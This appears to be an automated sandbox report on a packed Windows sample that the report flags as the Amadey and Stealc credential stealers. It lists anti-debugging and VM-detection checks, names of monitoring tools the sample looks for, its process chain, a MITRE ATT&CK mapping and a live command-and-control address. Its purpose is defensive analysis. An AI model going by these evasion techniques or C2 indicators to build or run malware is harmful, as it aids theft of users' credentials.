Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B568EE FindFirstFileW,FindClose,	6_2_00B568EE
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B5698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_00B5698F
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B4D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B4D076
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B4D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00B4D3A9
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B59642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B59642
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B5979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00B5979D
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B59B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00B59B2B
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B55C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00B55C97

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AE42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00AE42DE

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: explorti.exe, explorti.exe, 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmp, 86cd2764f3.exe, 86cd2764f3.exe, 00000003.00000002.1800965236.000000000102E000.00000040.00000001.01000000.0000000A.sdmp, ada2950f18.exe, ada2950f18.exe, 00000004.00000002.1922459134.00000000009CE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: file.exe, 00000000.00000002.1674528139.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorti.exe, 00000002.00000002.4100913919.0000000001388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001697000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH;k
Source: explorti.exe, 00000002.00000002.4100913919.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001664000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.0000000001185000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1673862958.00000000002F0000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1693734801.0000000000AF0000.00000040.00000001.01000000.00000008.sdmp, explorti.exe, 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmp, 86cd2764f3.exe, 00000003.00000002.1800965236.000000000102E000.00000040.00000001.01000000.0000000A.sdmp, ada2950f18.exe, 00000004.00000002.1922459134.00000000009CE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: explorti.exe, 00000002.00000002.4100913919.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+~x

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_6-95918

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	File opened: NTICE
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	File opened: SICE
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04BC0DAE rdtsc

0_2_04BC0DAE

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B5EAA2 BlockInput,

6_2_00B5EAA2

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B12622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00B12622

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AE42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00AE42DE

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0093645B mov eax, dword ptr fs:[00000030h]	2_2_0093645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0093A1C2 mov eax, dword ptr fs:[00000030h]	2_2_0093A1C2
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B04CE8 mov eax, dword ptr fs:[00000030h]	6_2_00B04CE8

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B40B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_00B40B62

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B12622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B12622
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B0083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B0083F
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B009D5 SetUnhandledExceptionFilter,	6_2_00B009D5
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B00C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00B00C21

Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 86cd2764f3.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ada2950f18.exe PID: 7984, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

6_2_00B41201

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B22BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00B22BA5

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AFF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

6_2_00AFF98E

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B622DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

6_2_00B622DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe "C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe "C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe "C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

6_2_00B40B62

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B41663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00B41663

Source: 9963a8aba7.exe, 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe0.2.dr, 9963a8aba7.exe.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 9963a8aba7.exe	Binary or memory string: Shell_TrayWnd
Source: file.exe, 00000000.00000002.1673862958.00000000002F0000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1693734801.0000000000AF0000.00000040.00000001.01000000.00000008.sdmp, explorti.exe, 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 0Program Manager
Source: 86cd2764f3.exe, 86cd2764f3.exe, 00000003.00000002.1800965236.000000000102E000.00000040.00000001.01000000.0000000A.sdmp, ada2950f18.exe, ada2950f18.exe, 00000004.00000002.1922459134.00000000009CE000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: *JProgram Manager
Source: explorti.exe	Binary or memory string: 0Program Manager

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 2_2_0091D312 cpuid

2_2_0091D312

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 2_2_0091CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

2_2_0091CB1A

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B3D27A GetUserNameW,

6_2_00B3D27A

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00B1BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

6_2_00B1BB6F

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AE42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00AE42DE

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.explorti.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorti.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1702396750.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1652641767.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1673804674.0000000000101000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1693678677.0000000000901000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1633377519.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 86cd2764f3.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ada2950f18.exe PID: 7984, type: MEMORYSTR

Source: 9963a8aba7.exe	Binary or memory string: WIN_81
Source: 9963a8aba7.exe	Binary or memory string: WIN_XP
Source: 9963a8aba7.exe.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 9963a8aba7.exe	Binary or memory string: WIN_XPe
Source: 9963a8aba7.exe	Binary or memory string: WIN_VISTA
Source: 9963a8aba7.exe	Binary or memory string: WIN_7
Source: 9963a8aba7.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 86cd2764f3.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ada2950f18.exe PID: 7984, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B61204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_00B61204
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B61806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00B61806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Valid Accounts	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	21 Access Token Manipulation	12 Software Packing	NTDS	227 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	112 Process Injection	1 DLL Side-Loading	LSA Secrets	961 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	39%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
s-part-0045.t-0009.t-msedge.net	0%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
sni1gl.wpc.nucdn.net	0%	Virustotal	Browse
s-part-0029.t-0009.t-msedge.net	0%	Virustotal	Browse
bzib.nelreports.net	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
https://drive-staging.corp.google.com/	0%	URL Reputation	safe
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-autopush.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://bzib.nelreports.net/api/report?cat=bingbusiness	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com/dns-query	0%	URL Reputation	safe
https://drive-daily-6.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-0.corp.google.com/	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-3.corp.google.com/	0%	URL Reputation	safe
